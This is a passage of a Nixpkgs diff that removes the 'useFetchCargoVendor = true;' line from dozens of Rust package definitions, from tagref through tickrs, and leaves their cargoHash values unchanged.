   cargoHash = "sha256-Yic8maNIjo4Kg6nZ29dtN2PougtOa2WCMMMUiIt9iEs=";
 
   nativeBuildInputs = [ installShellFiles ];
diff --git a/pkgs/by-name/ta/tagref/package.nix b/pkgs/by-name/ta/tagref/package.nix
index 4ece754dc809..4eb4b47b591a 100644
--- a/pkgs/by-name/ta/tagref/package.nix
+++ b/pkgs/by-name/ta/tagref/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-ANQxW5Qznu2JbiazFElB1sxpX4BwPgk6SVGgYpJ6DUw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-XQ0/J8o9yqEGWH1Cy5VDkpsK60SS6JhYxMNsI08uI6U=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ta/tailspin/package.nix b/pkgs/by-name/ta/tailspin/package.nix
index 79c6a87bfd85..4fa0ff1e62fe 100644
--- a/pkgs/by-name/ta/tailspin/package.nix
+++ b/pkgs/by-name/ta/tailspin/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-5VbxQDK69If5N8EiS8sIKNqHkCAfquOz8nUS7ynp+nA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-QkdnmeXor2K0c5m/TV5hYl1oSPWpykPfZy/ZRqFUt1s=";
 
   postPatch = ''
diff --git a/pkgs/by-name/ta/taizen/package.nix b/pkgs/by-name/ta/taizen/package.nix
index 5e43f0426b9d..10965844885b 100644
--- a/pkgs/by-name/ta/taizen/package.nix
+++ b/pkgs/by-name/ta/taizen/package.nix
@@ -28,7 +28,6 @@ rustPlatform.buildRustPackage {
     })
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-kK9na2Pk3Hl4TYYVVUfeBv6DDDkrD7mIv7eVHXkS5QY=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/ta/talecast/package.nix b/pkgs/by-name/ta/talecast/package.nix
index 1b42df36c220..944f455be6fd 100644
--- a/pkgs/by-name/ta/talecast/package.nix
+++ b/pkgs/by-name/ta/talecast/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-RwB+X+i3CEcTyKac81he9/cT2aQ4M7AqgqSDBEvhFJU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-mRoFg1UUPCKWiPxZg+8o2+2K6R+88RI/pdO8OLM4jFk=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/ta/taler-depolymerization/package.nix b/pkgs/by-name/ta/taler-depolymerization/package.nix
index 544ce7aaa895..91cbbf61c864 100644
--- a/pkgs/by-name/ta/taler-depolymerization/package.nix
+++ b/pkgs/by-name/ta/taler-depolymerization/package.nix
@@ -13,7 +13,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-HmQ/DPq/O6aODWms/bSsCVgBF7z246xxfYxiHrAkgYw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-P0VrXYbO4RD3cNTai2hfTksbiGldkwoYgZm+C5Jh/4Y=";
 
   outputs = [
diff --git a/pkgs/by-name/ta/tangara-cli/package.nix b/pkgs/by-name/ta/tangara-cli/package.nix
index ba360e09cd0f..d48e0d13f3ac 100644
--- a/pkgs/by-name/ta/tangara-cli/package.nix
+++ b/pkgs/by-name/ta/tangara-cli/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-pTE+xlXWIOOt1oiKosnbXTCLYoAqP3CfXA283a//Ds0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-C7Q3Oo/aBBH6pW1zSFQ2nD07+wu8uXfRSwNif2pVlW0=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ta/tangara-companion/package.nix b/pkgs/by-name/ta/tangara-companion/package.nix
index 7e636f5114d2..07d81fa7ca2a 100644
--- a/pkgs/by-name/ta/tangara-companion/package.nix
+++ b/pkgs/by-name/ta/tangara-companion/package.nix
@@ -27,8 +27,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-pTE+xlXWIOOt1oiKosnbXTCLYoAqP3CfXA283a//Ds0=";
   };
 
-  useFetchCargoVendor = true;
-
   cargoHash = "sha256-C7Q3Oo/aBBH6pW1zSFQ2nD07+wu8uXfRSwNif2pVlW0=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ta/tantivy-go/package.nix b/pkgs/by-name/ta/tantivy-go/package.nix
index 0f839fdce3cf..44c9037f7ab6 100644
--- a/pkgs/by-name/ta/tantivy-go/package.nix
+++ b/pkgs/by-name/ta/tantivy-go/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-iTGIm5C7SMBZv2OcKCQCyEZS/eeMJQ5nFSpuFJbTEXU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-f8xI4g6MK4NUn0DpxD+miaCzBe8FSSqaL5rpjoqUGfY=";
 
   cargoPatches = [
diff --git a/pkgs/by-name/ta/taplo/package.nix b/pkgs/by-name/ta/taplo/package.nix
index 6e00d8f1c2b3..96467fc5bc6c 100644
--- a/pkgs/by-name/ta/taplo/package.nix
+++ b/pkgs/by-name/ta/taplo/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-dNGQbaIfFmgXh2AOcaE74BTz7/jaiBgU7Y1pkg1rV7U=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-7u7ZyS+5QIGfXKNVJZLzGXoMSI2DHSrD1AEtPttS22Q=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ta/tarmac/package.nix b/pkgs/by-name/ta/tarmac/package.nix
index f6290f51195d..7430b76e52dd 100644
--- a/pkgs/by-name/ta/tarmac/package.nix
+++ b/pkgs/by-name/ta/tarmac/package.nix
@@ -17,8 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-WBkdC5YzZPtqQ9khxmvSFBHhZzfjICWkFcdi1PNsj5g=";
   };
 
-  useFetchCargoVendor = true;
-
   cargoHash = "sha256-u6EQLCdANSi1TBy2O1P5Ro5gJlfBjh/Xm7/uzCHtRu0=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/ta/tarssh/package.nix b/pkgs/by-name/ta/tarssh/package.nix
index 031a2a214b37..56690347391f 100644
--- a/pkgs/by-name/ta/tarssh/package.nix
+++ b/pkgs/by-name/ta/tarssh/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-AoKc8VF6rqYIsijIfgvevwu+6+suOO7XQCXXgAPNgLk=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-r1WwAL24Ohmf4L7UXUwmecRiMmthjpzoWOVv33bMkDk=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ta/taschenrechner/package.nix b/pkgs/by-name/ta/taschenrechner/package.nix
index 6d5965190e3e..2e692de70fc1 100644
--- a/pkgs/by-name/ta/taschenrechner/package.nix
+++ b/pkgs/by-name/ta/taschenrechner/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-ZZVghL0R3p5sE8V9Z0MsmTiCacuE2RXohQQEYJYgp/o=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-/tgfHU4/B7tes2jU8L/MbWIG1sTLg9exWhmuSA6Davk=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/ta/task-keeper/package.nix b/pkgs/by-name/ta/task-keeper/package.nix
index b3f7a831a367..0c020abca3b7 100644
--- a/pkgs/by-name/ta/task-keeper/package.nix
+++ b/pkgs/by-name/ta/task-keeper/package.nix
@@ -19,7 +19,7 @@ rustPlatform.buildRustPackage rec {
 
   nativeBuildInputs = [ pkg-config ];
   buildInputs = [ openssl ];
-  useFetchCargoVendor = true;
+
   cargoHash = "sha256-6KnZDSYPf3Rr9II/lsrPvzRMiwOknrstU8/91mv7x8k=";
 
   # tests depend on many packages (java, node, python, sbt, ...) - which I'm not currently willing to set up 😅
diff --git a/pkgs/by-name/ta/taskchampion-sync-server/package.nix b/pkgs/by-name/ta/taskchampion-sync-server/package.nix
index 0341554846e5..fbe747b5f35d 100644
--- a/pkgs/by-name/ta/taskchampion-sync-server/package.nix
+++ b/pkgs/by-name/ta/taskchampion-sync-server/package.nix
@@ -13,7 +13,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-spuTCRsF1uHTTWfOjkMRokZnBhqP53CPAi3WMJB3yq4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-bsB/dPqPmzviHsGA8gtSew2PQdySNzifZ6dhu7XQ8IU=";
 
   meta = {
diff --git a/pkgs/by-name/ta/tasks/package.nix b/pkgs/by-name/ta/tasks/package.nix
index 67a3478818c2..93b0b0848cd3 100644
--- a/pkgs/by-name/ta/tasks/package.nix
+++ b/pkgs/by-name/ta/tasks/package.nix
@@ -22,7 +22,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-OKXkAJ+TyMnTzvlUPwPU2MWgCTIN3cDiPcVPOzU4WEg=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-3SbqKB9DI1Bl8u8rrAPCO/sPKMByYhQ3YT63K5BDVvE=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ta/taskwarrior-tui/package.nix b/pkgs/by-name/ta/taskwarrior-tui/package.nix
index cfdc047d0dfd..b595a4b8ee27 100644
--- a/pkgs/by-name/ta/taskwarrior-tui/package.nix
+++ b/pkgs/by-name/ta/taskwarrior-tui/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-8PFGlsm9B6qHRrY7YIPwknmGS+Peg5MWd0kMT173wIQ=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-y5tHZIsbHLU9acIUM/QUx1T0eLK/E/jR+XXys5JnGjU=";
 
   nativeBuildInputs = [ installShellFiles ];
diff --git a/pkgs/by-name/tb/tbtools/package.nix b/pkgs/by-name/tb/tbtools/package.nix
index 211d59c6f58e..9a321de0dfd8 100644
--- a/pkgs/by-name/tb/tbtools/package.nix
+++ b/pkgs/by-name/tb/tbtools/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-zq8q3JaoqWAQUat2gIW0Wimi/tZiC6XDphUVjH0viU4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-SAHIDjELm4qr4whoQVdt3EuNA72qFqXEg3H0hYr7yLc=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/tc/tcount/package.nix b/pkgs/by-name/tc/tcount/package.nix
index 0a695c8f34f7..53c859ba3d07 100644
--- a/pkgs/by-name/tc/tcount/package.nix
+++ b/pkgs/by-name/tc/tcount/package.nix
@@ -16,8 +16,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-M4EvaX9qDBYeapeegp6Ki7FJLFosVR1B42QRAh5Eugo=";
   };
 
-  useFetchCargoVendor = true;
-
   cargoHash = "sha256-Sn7hu+2jQFd2u8tpfTxnEO+syrO96gfgz6ouHxJnpLg=";
 
   passthru.updateScript = nix-update-script { extraArgs = [ "--version=branch" ]; };
diff --git a/pkgs/by-name/td/tdf/package.nix b/pkgs/by-name/td/tdf/package.nix
index c76fcaab1ce4..030bbfe594ea 100644
--- a/pkgs/by-name/td/tdf/package.nix
+++ b/pkgs/by-name/td/tdf/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-0as/tKw0nKkZn+5q5PlKwK+LZK0xWXDAdiD3valVjBs=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-krIPfi4SM4uCw7NLauudwh1tgAaB8enDWnMC5X16n48=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/td/tdns-cli/package.nix b/pkgs/by-name/td/tdns-cli/package.nix
index b3e32aba17b5..b0a436c0f5ed 100644
--- a/pkgs/by-name/td/tdns-cli/package.nix
+++ b/pkgs/by-name/td/tdns-cli/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-BGxkqlKg81izq4eOBEZFJ/MPb3UCSOo8ZTYTjtjierk=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-KDZGTGLHLuZgFtzIp+lL0VIiQcYspvxAivp7hVE9V/A=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/te/tealdeer/package.nix b/pkgs/by-name/te/tealdeer/package.nix
index e87db45d1725..614c70df5315 100644
--- a/pkgs/by-name/te/tealdeer/package.nix
+++ b/pkgs/by-name/te/tealdeer/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-GZN7WE12f3MEoBfswag0O04UOCmZeYwt5CbYwddmwHs=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Zk2L4cq7j9CkSc+cnZRWwhtfWP6y5faiMVGFFNkBwwA=";
 
   nativeBuildInputs = [ installShellFiles ];
diff --git a/pkgs/by-name/te/tectonic-unwrapped/package.nix b/pkgs/by-name/te/tectonic-unwrapped/package.nix
index af1434de91e2..3b657c2e63d0 100644
--- a/pkgs/by-name/te/tectonic-unwrapped/package.nix
+++ b/pkgs/by-name/te/tectonic-unwrapped/package.nix
@@ -58,7 +58,6 @@ buildRustPackage rec {
     })
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-OMa89riyopKMQf9E9Fr7Qs4hFfEfjnDFzaSWFtkYUXE=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/te/teehee/package.nix b/pkgs/by-name/te/teehee/package.nix
index a7d5b4780076..bb609016a324 100644
--- a/pkgs/by-name/te/teehee/package.nix
+++ b/pkgs/by-name/te/teehee/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-yTterXAev6eOnUe1/MJV8s8dUYJcXHDKVJ6T0G/JHzI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-PebwLIFBA6NdEXCQoEZzPFsSTMz8o2s+yOMyElrR4TM=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/te/teip/package.nix b/pkgs/by-name/te/teip/package.nix
index fb976e3e531f..9a3111178234 100644
--- a/pkgs/by-name/te/teip/package.nix
+++ b/pkgs/by-name/te/teip/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-Lr4nlAM2mEKwF3HXso/6FQEKoQK43xxLMgOU7j7orYg=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-FFv/Msx6fXRJuRH8hjhBgc7XCg5EKWantNKQHwXpa4o=";
 
   nativeBuildInputs = [ installShellFiles ];
diff --git a/pkgs/by-name/te/teleport/package.nix b/pkgs/by-name/te/teleport/package.nix
index dbfc47752571..e6f772045d2a 100644
--- a/pkgs/by-name/te/teleport/package.nix
+++ b/pkgs/by-name/te/teleport/package.nix
@@ -41,7 +41,7 @@ let
 
   rdpClient = rustPlatform.buildRustPackage (finalAttrs: {
     pname = "teleport-rdpclient";
-    useFetchCargoVendor = true;
+
     inherit cargoHash;
     inherit version src;
 
diff --git a/pkgs/by-name/te/television/package.nix b/pkgs/by-name/te/television/package.nix
index 40212e24475b..a9b3ba9fb0d1 100644
--- a/pkgs/by-name/te/television/package.nix
+++ b/pkgs/by-name/te/television/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-9ug3MFBAvdOpA7Cw5eqCjS2gWK0InqlfUAOItE0o40s=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-n417hrDLpBD7LhtHfqHPgr9N+gkdC9nw+iDnNRcTqQQ=";
 
   passthru = {
diff --git a/pkgs/by-name/te/teller/package.nix b/pkgs/by-name/te/teller/package.nix
index f3b6564c1617..c26370a71f52 100644
--- a/pkgs/by-name/te/teller/package.nix
+++ b/pkgs/by-name/te/teller/package.nix
@@ -22,7 +22,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-CI74nMMTIPwjJfy7ASR19V6EbYZ62NoAOxlP3Xt2BuI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-PSa4EEDEFdFpfYPG5M5wMwfq3WSqMw5d8a+mKgBzCFw=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/te/tenere/package.nix b/pkgs/by-name/te/tenere/package.nix
index c059bc8c602e..34d83eccc62d 100644
--- a/pkgs/by-name/te/tenere/package.nix
+++ b/pkgs/by-name/te/tenere/package.nix
@@ -12,7 +12,7 @@ rustPlatform.buildRustPackage {
     rev = "0f3181ab23066aa69aa4fec387a7e16578078179";
     hash = "sha256-HKPCX0bmXkB3LwvgE1li3dlWTgpW5CXuWZNq3mFY6FY=";
   };
-  useFetchCargoVendor = true;
+
   cargoHash = "sha256-vwnMfY8xYrH3pWl8YMb7Jedu1gEOcAKPChClboJJSsw=";
 
   requiredSystemFeatures = [ "big-parallel" ]; # for fat LTO from upstream
diff --git a/pkgs/by-name/te/tenki/package.nix b/pkgs/by-name/te/tenki/package.nix
index 275422880048..dbc98bfd417a 100644
--- a/pkgs/by-name/te/tenki/package.nix
+++ b/pkgs/by-name/te/tenki/package.nix
@@ -14,7 +14,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-jd7D0iC3+s3w6uG0WqlvL9F4xQL+cQzsUvAIOc7ORgw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-jV+KHHAPpsFxNnBaMPE5XYDG4Fhn3a89NBUpZg++YUE=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/te/tensorman/package.nix b/pkgs/by-name/te/tensorman/package.nix
index f972af1e4312..0e7cf94213e0 100644
--- a/pkgs/by-name/te/tensorman/package.nix
+++ b/pkgs/by-name/te/tensorman/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-kI/dOw9JnhXmLqIgaljhRMc/SX35m7WQ9b6bQa6diZ0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-/Ul8+5MmTntQ0OprfG4QhUNjc3PktCandzTTWn4FD0Y=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/te/tera-cli/package.nix b/pkgs/by-name/te/tera-cli/package.nix
index f488bf279f8b..3bf1de65b7e6 100644
--- a/pkgs/by-name/te/tera-cli/package.nix
+++ b/pkgs/by-name/te/tera-cli/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-TN3zkxZC0Y9lev2wmvzwyLU+t4rNwut/dQILIA7+qbw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-+qf/MlifpVXzDpADJoTqxU40wDntcPu+bW7eq6/iubk=";
 
   passthru.updateScript = nix-update-script { };
diff --git a/pkgs/by-name/te/tere/package.nix b/pkgs/by-name/te/tere/package.nix
index ec0dbe041b09..3c41dbc6e3aa 100644
--- a/pkgs/by-name/te/tere/package.nix
+++ b/pkgs/by-name/te/tere/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage {
     sha256 = "sha256-oY4oeSttM8LLXLirYq/B7Nzajkg4Pw26uig5gZxqU3s=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-E3gLxuxidjjjmMVWCQYZCbz8sov1a+MkLiOj4/TU6MI=";
 
   nativeCheckInputs = [
diff --git a/pkgs/by-name/te/termimage/package.nix b/pkgs/by-name/te/termimage/package.nix
index 5d172a96483a..212487200b31 100644
--- a/pkgs/by-name/te/termimage/package.nix
+++ b/pkgs/by-name/te/termimage/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-1FOPe466GqQfiIpsQT9DJn+FupI2vy9b4+7p31ceY6M=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-SIPak7tl/fIH6WzvAl8bjhclZqQ6imC/zdxCnBnEsbk=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/te/terminal-typeracer/package.nix b/pkgs/by-name/te/terminal-typeracer/package.nix
index e5f3aea81ca5..bf9ce6de264f 100644
--- a/pkgs/by-name/te/terminal-typeracer/package.nix
+++ b/pkgs/by-name/te/terminal-typeracer/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-S3OW6KihRd6ReTWUXRb1OWC7+YoxehjFRBxcnJVgImU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-WYqbG0iSVvnRLCy5Qs4wr72LjQ6uPgskVWP62Af0RQ8=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/te/termscp/package.nix b/pkgs/by-name/te/termscp/package.nix
index 0fdf7c5f98ad..64179e41a994 100644
--- a/pkgs/by-name/te/termscp/package.nix
+++ b/pkgs/by-name/te/termscp/package.nix
@@ -22,7 +22,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-ClCPXux1sM3hRbtJ3YngrAmc4btTgQmg/Bg/7uFHCOw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-k/6+EWHAXd8BN551xDlQkYsBZsP/jgT+NO5GbVXJkVI=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/te/termsnap/package.nix b/pkgs/by-name/te/termsnap/package.nix
index 622c4b72a95c..31c8f1bb4fc6 100644
--- a/pkgs/by-name/te/termsnap/package.nix
+++ b/pkgs/by-name/te/termsnap/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-bYqhrMmgkEAiA1eiDbIOwH/PktwtIfxmYJRwDrFsNIc=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-lfWQ7VzFYhbEjrhKxPT8quhxbL+5pTzIPUVjBBHRk7Q=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/te/termusic/package.nix b/pkgs/by-name/te/termusic/package.nix
index 27c52d1f052e..04794b3bfc85 100644
--- a/pkgs/by-name/te/termusic/package.nix
+++ b/pkgs/by-name/te/termusic/package.nix
@@ -25,7 +25,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-Yd23Jk2BFuLtxgF8vgat0wTGq6ahHHBd/HjGI9BY9z4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-1WomL0O5QS2NHu4k6TuA2jLtDKyxlY0iVCgH9pb6CHI=";
 
   useNextest = true;
diff --git a/pkgs/by-name/te/tex-fmt/package.nix b/pkgs/by-name/te/tex-fmt/package.nix
index 309bb7e1af23..cdea9988c875 100644
--- a/pkgs/by-name/te/tex-fmt/package.nix
+++ b/pkgs/by-name/te/tex-fmt/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-CAuhIJbe483Qu+wnNfXTkQ3ERAbkt07QzZ7z7pcbl10=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ZXoaQYUYut11r6zvvIihZ3myL4B4y5yKq6P1BBtky/c=";
 
   nativeBuildInputs = [ installShellFiles ];
diff --git a/pkgs/by-name/te/texlab/package.nix b/pkgs/by-name/te/texlab/package.nix
index 8925f8367fc6..b0ffc4472b97 100644
--- a/pkgs/by-name/te/texlab/package.nix
+++ b/pkgs/by-name/te/texlab/package.nix
@@ -23,7 +23,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-ldbWENQa7ZiBSx1b1JgChIgadqzHEPvUyOdHVgW6MSU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-omMisd2lY9BPIp/0yJ5Eg3pAIvwIWcEJE0ygTj2yqwo=";
 
   outputs = [ "out" ] ++ lib.optional (!isCross) "man";
diff --git a/pkgs/by-name/te/texpresso/tectonic.nix b/pkgs/by-name/te/texpresso/tectonic.nix
index 515fc53cf3cb..fe04d15191d7 100644
--- a/pkgs/by-name/te/texpresso/tectonic.nix
+++ b/pkgs/by-name/te/texpresso/tectonic.nix
@@ -15,7 +15,7 @@ tectonic-unwrapped.overrideAttrs (
       hash = "sha256-ap7fEPHsASAphIQkjcvk1CC7egTdxaUh7IpSS5os4W8=";
       fetchSubmodules = true;
     };
-    useFetchCargoVendor = true;
+
     cargoHash = "sha256-mqhbIv5r/5EDRDfP2BymXv9se2NCKxzRGqNqwqbD9A0=";
     # rebuild cargoDeps by hand because `.overrideAttrs cargoHash`
     # does not reconstruct cargoDeps (a known limitation):
diff --git a/pkgs/by-name/te/textplots/package.nix b/pkgs/by-name/te/textplots/package.nix
index 46a8c0b741ec..041f0fefee13 100644
--- a/pkgs/by-name/te/textplots/package.nix
+++ b/pkgs/by-name/te/textplots/package.nix
@@ -13,7 +13,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-83EAe6O8ETsuGJ5MK6kt68OnJL+r+BAYkFzvzlxHyp4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ep7gXTWHRhWpGo6n/EgjY0d/vqIqd3yEikzy9sLTtf8=";
 
   buildFeatures = [ "tool" ];
diff --git a/pkgs/by-name/te/texture-synthesis/package.nix b/pkgs/by-name/te/texture-synthesis/package.nix
index d850db20cad8..2346dfe4c027 100644
--- a/pkgs/by-name/te/texture-synthesis/package.nix
+++ b/pkgs/by-name/te/texture-synthesis/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-BJa6T+qlbn7uABKIEhFhwLrw5sG/9al4L/2sbllfPFg=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-4EBMl5yvteoot6/r0tTZ95MQ6HGqgBzlRWClnlyqz/M=";
 
   cargoPatches = [
diff --git a/pkgs/by-name/th/the-way/package.nix b/pkgs/by-name/th/the-way/package.nix
index 5fde06c463a9..5741eba3b066 100644
--- a/pkgs/by-name/th/the-way/package.nix
+++ b/pkgs/by-name/th/the-way/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-zsfk5APxbnssMKud9xGc70N+57LSc+vk6sSb2XzFUyA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-GBr0z2iJuk86xkgZd2sAz+ISTRfESDt99g6ssxXhzhI=";
 
   nativeBuildInputs = [ installShellFiles ];
diff --git a/pkgs/by-name/th/theattyr/package.nix b/pkgs/by-name/th/theattyr/package.nix
index 709271504b4c..5695a30667e2 100644
--- a/pkgs/by-name/th/theattyr/package.nix
+++ b/pkgs/by-name/th/theattyr/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-gqgoG5JwGecm8MEqH36BvJyLuh6nDao1d9ydX1AlbgU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-44pHUqHBr0286Kc/yreb15mQXnFuyh12D2uCU2MrrTk=";
 
   passthru.updateScript = nix-update-script { };
diff --git a/pkgs/by-name/th/thin-provisioning-tools/package.nix b/pkgs/by-name/th/thin-provisioning-tools/package.nix
index 216e37afb3b7..b80a6094ff00 100644
--- a/pkgs/by-name/th/thin-provisioning-tools/package.nix
+++ b/pkgs/by-name/th/thin-provisioning-tools/package.nix
@@ -28,7 +28,6 @@ rustPlatform.buildRustPackage rec {
     lvm2
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-cjNgp+StWkqtR1Y4caLv8EWhHsinSpbc/hgUUG7CGtE=";
 
   passthru.tests = {
diff --git a/pkgs/by-name/th/thokr/package.nix b/pkgs/by-name/th/thokr/package.nix
index 928f68416573..c59a6cae210f 100644
--- a/pkgs/by-name/th/thokr/package.nix
+++ b/pkgs/by-name/th/thokr/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "0aryfx9qlnjdq3iq2d823c82fhkafvibmbz58g48b8ah5x5fv3ir";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-BjUPXsErdLGmZaDIMaY+iV3XcoQHGNZbRmFJb/fblwU=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/th/thud/package.nix b/pkgs/by-name/th/thud/package.nix
index 2ceea89f1f2c..7b5eb6a10d02 100644
--- a/pkgs/by-name/th/thud/package.nix
+++ b/pkgs/by-name/th/thud/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-BmrJaZ1IKXjx4/QkBDZyXvTTaalfEOKsBp9ZCW8px7I=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-J7YioL8AIhoaPsYPzOXbwz76sMmBbDI/eql1HgDFgCU=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/th/thumbs/package.nix b/pkgs/by-name/th/thumbs/package.nix
index 4062e6517a04..ad4c211f1f0a 100644
--- a/pkgs/by-name/th/thumbs/package.nix
+++ b/pkgs/by-name/th/thumbs/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-XMz1ZOTz2q1Dt4QdxG83re9PIsgvxTTkytESkgKxhGM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-xvfjWS1QZWrlwytFyWVtjOyB3EPT9leodVLt72yyM4E=";
 
   patches = [ ./fix.patch ];
diff --git a/pkgs/by-name/ti/tickrs/package.nix b/pkgs/by-name/ti/tickrs/package.nix
index d9b682eb2160..9ab6c06cb2cc 100644
--- a/pkgs/by-name/ti/tickrs/package.nix
+++ b/pkgs/by-name/ti/tickrs/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-0jpElAj4TDC52BEjfnGHYiro6MT6Jzcb0evvmroxLn8=";
   };
 
-  useFetchCargoVendor = true;
